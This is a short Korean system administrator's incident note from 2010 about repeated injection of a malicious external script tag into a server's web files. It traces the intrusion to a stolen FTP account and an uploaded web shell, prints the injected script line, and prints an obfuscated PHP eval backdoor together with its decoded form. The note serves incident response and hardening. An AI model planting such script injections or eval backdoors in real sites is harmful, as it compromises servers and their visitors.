2010. 5. 28. 16:52

Asp/js/html/htm 파일 스크립트 자동 삽입 현상에 대한 조치.


* 서버내 asp/js/html/htm 파일에 다음과 같은 스크립트가 삽입되었습니다.
<script src=http://nandilathgmart.com/media/LICENSE.php ></script>

* 해당 스크립트의 삽입경로를 알수 없어, 삽입된 스크립트에 대해서는
  아크로 에디터을 통해서 삽입된 스크립트를 일괄적으로 삭제하였습니다.

* 삭제후 서버의 각로그를 확인하여 업로그 등을 확인할수 있으나 정확한 스크립트 삽입
  시간을 알수 없으므로 정확히 파악하기는 어렵습니다.

* 다음날 오전 07시50분 동일한 스크립트가 서버내 asp/js/html/htm 파일에
  삽입된것을 확인하였습니다. 단 시간이 1시간의 터울을 가지고 스크립트를 삽입되어 있기
  때문에 로그 확인에 많은 시간을 소요하였습니다.

  -> Whistl 웹쉘검사
     웹쉘검사시  업로드 권한이 있는 폴더에 a.aspx 파일이 검사 되었습니다.

     업로드 권한을 이용해서 외부에서 a.aspx 파일을 업로드후 외부에서 실행했다는 것을 예상 할수 있습니다.

  -> WEBSource 계정으로 로그인한 사항이 확인 됩니다.
     22:25:50 61.47.61.158 [16]USER ftpuserID 331 0
     (22시25분은 표준 시간 기준이므로 +9시간을 해주면 07시 25분 접속한 로그를 확인할수 있습니다.)

     해당 IP 는 중국발 IP 으로, FTP 계정(ftpuserID) 탈취한것으로 예상됩니다.

  -> gifimg.php 삽입.
     -- 소스내용 --
     <?php  eval(base64_decode
     ('aWYoaXNzZXQoJF9QT1NUWydlJ10pK
     WV2YWwoYmFzZTY0X2RlY29kZSgkX1BP
     U1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7'));?>

     위내용을 디코드 해보면. 아래와 같은 사항을 확인할수 있습니다.
     if(isset($_POST['e']))eval(base64_decode($_POST['e']));else die('404 Not Found')

     스크립트 되는지 테스트 삽입한것으로 예상됩니다.

* 서버내의 FTP 계정 탈취된것으로 예상되며, FTP 포트는 사무실에서만 접속 할수 있도록 방화벽 설정을 변경
  하는것이 좋을듯합니다.  또한 이번 스크립트 삽입으로 엔드유저의 컴퓨터에 악의적인 코트가 삽입되어
  추후 DDOS 공격등에 악용될 가능성이 있습니다.
  
* Whistl 을 이용한 웹쉘 검사가 관건으로 업로드 폴더야 어쩔수 없는 상황으로 웹 방화벽인 WebKnight 설정을 좀더 타이트 하게 설정할 필요가 있습니다.  이런 사항들 정말 신경 쓰입니다.